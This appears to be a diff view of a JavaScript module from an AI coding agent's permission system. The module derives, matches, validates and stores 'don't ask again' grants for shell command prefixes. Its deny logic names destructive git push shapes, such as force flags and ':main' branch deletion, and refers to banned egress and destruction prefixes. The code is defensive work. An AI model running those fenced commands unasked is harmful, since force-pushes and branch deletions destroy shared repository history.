if (tokens.length === 0)
|
|
74
|
+
return null;
|
|
75
|
+
const first = tokens[0];
|
|
76
|
+
// Path-prefixed or escaped command words are never grantable.
|
|
77
|
+
if (first.includes("/") || first.startsWith("\\"))
|
|
78
|
+
return null;
|
|
79
|
+
if (BANNED_PREFIXES.has(first))
|
|
80
|
+
return null;
|
|
81
|
+
if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
|
|
82
|
+
const second = tokens[1];
|
|
83
|
+
if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
|
|
84
|
+
return null;
|
|
85
|
+
return [first, second];
|
|
86
|
+
}
|
|
87
|
+
return [first];
|
|
88
|
+
}
|
|
89
|
+
/**
|
|
90
|
+
* Command-family label for storage analytics (YAG-510): token 1 (basename'd),
|
|
91
|
+
* plus token 2 only for known multi-subcommand tools when it is a plain
|
|
92
|
+
* subcommand word — a psql conn-string or URL must never land in the prefix
|
|
93
|
+
* column. Unlike derivePrefix this labels EVERY command (banned families and
|
|
94
|
+
* compound commands included; compound commands are labeled by their first
|
|
95
|
+
* segment's command word).
|
|
96
|
+
*/
|
|
97
|
+
export function storagePrefix(command) {
|
|
98
|
+
const tokens = tokenize(command);
|
|
99
|
+
if (tokens.length === 0)
|
|
100
|
+
return "(empty)";
|
|
101
|
+
const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
|
|
102
|
+
const slash = rawFirst.lastIndexOf("/");
|
|
103
|
+
const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
|
|
104
|
+
const second = tokens[1];
|
|
105
|
+
if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
|
|
106
|
+
return `${first} ${second}`;
|
|
107
|
+
}
|
|
108
|
+
return first;
|
|
109
|
+
}
|
|
110
|
+
// --- Matching ---
|
|
111
|
+
/**
|
|
112
|
+
* git-push refspec shapes that encode force/delete positionally: a leading
|
|
113
|
+
* `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
|
|
114
|
+
* remote branch). Confirmed unfencable via flag lists — so any such arg
|
|
115
|
+
* knocks the command out of grant coverage entirely.
|
|
116
|
+
*/
|
|
117
|
+
function hasGitPushRefspecDanger(tokens) {
|
|
118
|
+
return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
|
|
119
|
+
}
|
|
120
|
+
/**
|
|
121
|
+
* Flags that must never ride a grant even though the exec policy leaves them
|
|
122
|
+
* in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
|
|
123
|
+
* standing grant for it would be a silent force-push license).
|
|
124
|
+
*/
|
|
125
|
+
function hasGrantFencedFlag(pattern, tokens) {
|
|
126
|
+
if (pattern[0] === "git" && pattern[1] === "push") {
|
|
127
|
+
return tokens.some((t) => t.startsWith("--force") || t === "-f");
|
|
128
|
+
}
|
|
129
|
+
return false;
|
|
130
|
+
}
|
|
131
|
+
/**
|
|
132
|
+
* Does `command` fall under one of the session's grants? Pure. The caller
|
|
133
|
+
* (permission gate) must only consult this AFTER classifyCommand returned
|
|
134
|
+
* "prompt" — grants never override forbidden.
|
|
135
|
+
*/
|
|
136
|
+
export function matchesGrant(command, grants, repoKey) {
|
|
137
|
+
// Same single-plain-command restriction as derivation.
|
|
138
|
+
if (!isSinglePlainCommand(command))
|
|
139
|
+
return null;
|
|
140
|
+
const tokens = tokenize(command);
|
|
141
|
+
if (tokens.length === 0)
|
|
142
|
+
return null;
|
|
143
|
+
for (const grant of grants) {
|
|
144
|
+
if (grant.repoKey !== repoKey)
|
|
145
|
+
continue;
|
|
146
|
+
if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
|
|
147
|
+
continue;
|
|
148
|
+
if (!grant.pattern.every((p, i) => tokens[i] === p))
|
|
149
|
+
continue;
|
|
150
|
+
if (hasGrantFencedFlag(grant.pattern, tokens))
|
|
151
|
+
continue;
|
|
152
|
+
if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
|
|
153
|
+
continue;
|
|
154
|
+
return grant;
|
|
155
|
+
}
|
|
156
|
+
return null;
|
|
157
|
+
}
|
|
158
|
+
/**
|
|
159
|
+
* Grant-time validation: only offer/accept a grant when the current command
|
|
160
|
+
* would actually auto-run under it — classification is "prompt" AND the
|
|
161
|
+
* hypothetical grant matches. Prevents offering a "don't ask again" that
|
|
162
|
+
* wouldn't have prevented this ask (or that covers a fenced shape).
|
|
163
|
+
*/
|
|
164
|
+
export function validateGrant(command, policy, repoKey) {
|
|
165
|
+
const pattern = derivePrefix(command);
|
|
166
|
+
if (!pattern)
|
|
167
|
+
return null;
|
|
168
|
+
if (classifyCommand(command, policy).decision !== "prompt")
|
|
169
|
+
return null;
|
|
170
|
+
const candidate = {
|
|
171
|
+
pattern,
|
|
172
|
+
repoKey,
|
|
173
|
+
addedAt: new Date().toISOString(),
|
|
174
|
+
cwd: "",
|
|
175
|
+
};
|
|
176
|
+
return matchesGrant(command, [candidate], repoKey) ? candidate : null;
|
|
177
|
+
}
|
|
178
|
+
/** Human label for the remember option: "git push …". */
|
|
179
|
+
export function describePrefix(pattern) {
|
|
180
|
+
return `${pattern.join(" ")} …`;
|
|
181
|
+
}
|
|
182
|
+
/**
|
|
183
|
+
* Could {@link derivePrefix} ever have produced this pattern? The persisted
|
|
184
|
+
* file is plain JSON on disk, so a row that derivation could not have written
|
|
185
|
+
* (a banned interpreter/destruction/egress prefix, a bare multi-subcommand
|
|
186
|
+
* tool, a path-prefixed word, or an over-long pattern) is treated as
|
|
187
|
+
* tampered/corrupt and dropped at load time rather than honored (PR #1698
|
|
188
|
+
* review). This is defense in depth, not the trust boundary itself — the
|
|
189
|
+
* boundary is that grants only enter the live gate at startup or through the
|
|
190
|
+
* gate's own ask flow.
|
|
191
|
+
*/
|
|
192
|
+
export function isDerivablePattern(pattern) {
|
|
193
|
+
if (pattern.length < 1 || pattern.length > 2)
|
|
194
|
+
return false;
|
|
195
|
+
const first = pattern[0];
|
|
196
|
+
if (first.includes("/") || first.startsWith("\\"))
|
|
197
|
+
return false;
|
|
198
|
+
if (BANNED_PREFIXES.has(first))
|
|
199
|
+
return false;
|
|
200
|
+
if (pattern.length === 2) {
|
|
201
|
+
const second = pattern[1];
|
|
202
|
+
if (!MULTI_SUBCOMMAND_TOOLS.has(first))
|
|
203
|
+
return false;
|
|
204
|
+
if (second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
|
|
205
|
+
return false;
|
|
206
|
+
return true;
|
|
207
|
+
}
|
|
208
|
+
// Derivation never emits a bare multi-subcommand tool ("git" alone).
|
|
209
|
+
return !MULTI_SUBCOMMAND_TOOLS.has(first);
|
|
210
|
+
}
|
|
211
|
+
// --- I/O half ---
|
|
212
|
+
export function rulesFilePath(homeOverride = null) {
|
|
213
|
+
return join(codeStateHome(homeOverride), "rules.json");
|
|
214
|
+
}
|
|
215
|
+
/**
|
|
216
|
+
* Resolve the grant scope key for a session cwd: the git remote origin URL,
|
|
217
|
+
* falling back to the realpath of the cwd (no remote, not a repo, git
|
|
218
|
+
* missing). Fail-soft — never throws.
|
|
219
|
+
*/
|
|
220
|
+
export function resolveRepoKey(cwd) {
|
|
221
|
+
try {
|
|
222
|
+
const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
|
|
223
|
+
encoding: "utf8",
|
|
224
|
+
stdio: ["ignore", "pipe", "ignore"],
|
|
225
|
+
timeout: 3_000,
|
|
226
|
+
}).trim();
|
|
227
|
+
if (url.length > 0)
|
|
228
|
+
return url;
|
|
229
|
+
}
|
|
230
|
+
catch {
|
|
231
|
+
// fall through to realpath
|
|
232
|
+
}
|
|
233
|
+
try {
|
|
234
|
+
return realpathSync(cwd);
|
|
235
|
+
}
|
|
236
|
+
catch {
|
|
237
|
+
return cwd;
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
|
|
241
|
+
export function loadGrants(homeOverride = null) {
|
|
242
|
+
try {
|
|
243
|
+
const path = rulesFilePath(homeOverride);
|
|
244
|
+
if (!existsSync(path))
|
|
245
|
+
return [];
|
|
246
|
+
const parsed = JSON.parse(readFileSync(path, "utf8"));
|
|
247
|
+
if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
|
|
248
|
+
return [];
|
|
249
|
+
return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
|
|
250
|
+
g.pattern.length > 0 &&
|
|
251
|
+
g.pattern.every((t) => typeof t === "string") &&
|
|
252
|
+
isDerivablePattern(g.pattern) &&
|
|
253
|
+
typeof g.repoKey === "string" &&
|
|
254
|
+
typeof g.addedAt === "string" &&
|
|
255
|
+
typeof g.cwd === "string");
|
|
256
|
+
}
|
|
257
|
+
catch {
|
|
258
|
+
return [];
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
/**
|
|
262
|
+
* Persist a new grant: re-read the file, merge (drop exact duplicates), write.
|
|
263
|
+
* The re-read is the concurrency guard — a parallel session's grant appended
|
|
264
|
+
* between our load and this call survives. Returns the merged list; throws
|
|
265
|
+
* never (fail-soft, returns the in-memory merge even if the write fails).
|
|
266
|
+
*/
|
|
267
|
+
export function appendGrant(grant, homeOverride = null) {
|
|
268
|
+
const current = loadGrants(homeOverride);
|
|
269
|
+
const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
|
|
270
|
+
const merged = isDuplicate ? current : [...current, grant];
|
|
271
|
+
try {
|
|
272
|
+
const path = rulesFilePath(homeOverride);
|
|
273
|
+
mkdirSync(dirname(path), { recursive: true });
|
|
274
|
+
const file = { version: 1, grants: merged };
|
|
275
|
+
writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
|
|
276
|
+
}
|
|
277
|
+
catch {
|
|
278
|
+
// Fail-soft: the in-memory grant still applies for this session.
|
|
279
|
+
}
|
|
280
|
+
return merged;
|
|
281
|
+
}
|
|
282
|
+
//# sourceMappingURL=approvedPrefixes.js.map
|